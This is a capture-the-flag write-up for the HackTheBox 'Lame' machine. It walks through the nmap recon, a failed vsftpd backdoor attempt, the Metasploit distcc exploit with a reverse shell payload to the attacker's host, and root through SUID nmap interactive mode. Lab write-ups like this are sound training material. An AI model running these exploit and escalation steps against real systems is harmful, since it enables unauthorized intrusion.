HackTheBox - Lame

Updated 25-08-2026
#htb #hackthebox #writeup #linux #suid #privilege-escalation #ftp #metasploit #vsftpd #samba #distcc #nmap #cve-2011-2523

A classic beginner-friendly Linux box: a tempting service turns out to be a dead end, an overlooked daemon opens the door, and a misconfigured SUID binary hands over root.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ ip=10.129.61.69; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-25 01:31 -0400
Nmap scan report for 10.129.61.69
Host is up (0.21s latency).

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.16.54
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 2h00m35s, deviation: 2h49m45s, median: 33s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-08-25T01:32:26-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.50 seconds

Key takeaways from the scan:

  • 21/tcp — vsftpd 2.3.4 with anonymous login allowed
  • 22/tcp — OpenSSH 4.7p1
  • 139/tcp and 445/tcp — Samba smbd 3.0.20-Debian
  • 3632/tcp — distccd v1

Foothold

vsftpd 2.3.4 (dead end)

FTP allows anonymous login, and on further enumeration searchsploit shows that version 2.3.4 is vulnerable to Backdoor Command Execution.

1
2
3
4
5
6
7
8
9
10
11
12
$ searchsploit vsftpd 
-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumptio | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1 | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2 | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                              | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution                     | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)        | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service                       | multiple/remote/49719.py
-------------------------------------------------------------- ---------------------------------

Copy the script into our working folder:

1
2
3
4
5
6
7
8
$ searchsploit -m unix/remote/49757.py
  Exploit: vsftpd 2.3.4 - Backdoor Command Execution
      URL: https://www.exploit-db.com/exploits/49757
     Path: /usr/share/exploitdb/exploits/unix/remote/49757.py
    Codes: CVE-2011-2523
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/kali/htb/lame/49757.py

Running the script didn’t work — vsFTPd might not be vulnerable here (CVE-2011-2523):

1
$ python3 49757.py 10.129.61.69

distccd Command Execution

Since distccd is an unusual service, we check whether it has a known vulnerability.

Start Metasploit and search for any modules for distcc:

1
2
3
4
5
6
7
msf > search distccd 
Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution

Configure and run the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf exploit(unix/misc/distcc_exec) > show payloads
msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/misc/distcc_exec) > set LPORT 4444
LPORT => 4444
msf exploit(unix/misc/distcc_exec) > show options
msf exploit(unix/misc/distcc_exec) > set LHOST tun0
LHOST => 10.10.16.54
msf exploit(unix/misc/distcc_exec) > run
[-] Msf::OptionValidateError One or more options failed to validate: RHOSTS.
msf exploit(unix/misc/distcc_exec) > set RHOSTS lame.htb
RHOSTS => lame.htb
msf exploit(unix/misc/distcc_exec) > run

This gave us a shell.

Upgrading the Shell

Upgrade the shell by typing shell:

1
2
3
4
5
6
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash

User Flag

Grab the user flag from the makis home folder:

1
2
3
4
daemon@lame:/tmp$ cd /home/makis
cd /home/makis
daemon@lame:/home/makis$ cat user.txt
cat user.txt

Privilege Escalation

Kernel Check

Check the kernel version:

1
2
3
daemon@lame:/tmp$ uname -a
uname -a
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Nothing useful found there.

Local Exploit Suggester

In Metasploit, background the current session:

1
2
3
background

Background session 4? [y/N]  y

Upgrade the session’s shell to Meterpreter:

1
msf exploit(unix/misc/distcc_exec) > sessions -u 4

Interact with the new session:

1
msf exploit(unix/misc/distcc_exec) > sessions -i 5

Press Ctrl+Z to background the session.

Run the local exploit suggester:

1
2
3
4
msf exploit(unix/misc/distcc_exec) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 5
session => 5
msf post(multi/recon/local_exploit_suggester) > run

None of the suggested exploits worked.

SUID Enumeration

Resume the shell:

1
2
3
4
5
6
msf exploit(multi/persistence/ssh_key) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > shell
Process 13787 created.
Channel 192 created.

Verify SUID binaries manually:

1
find / -perm -4000 -type f 2>/dev/null

This reveals the nmap binary.

Root via nmap Interactive Mode

Start interactive nmap and spawn an interactive system shell:

1
2
3
4
5
6
7
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !/bin/sh
whoami
root

From here we can proceed to read the root flag.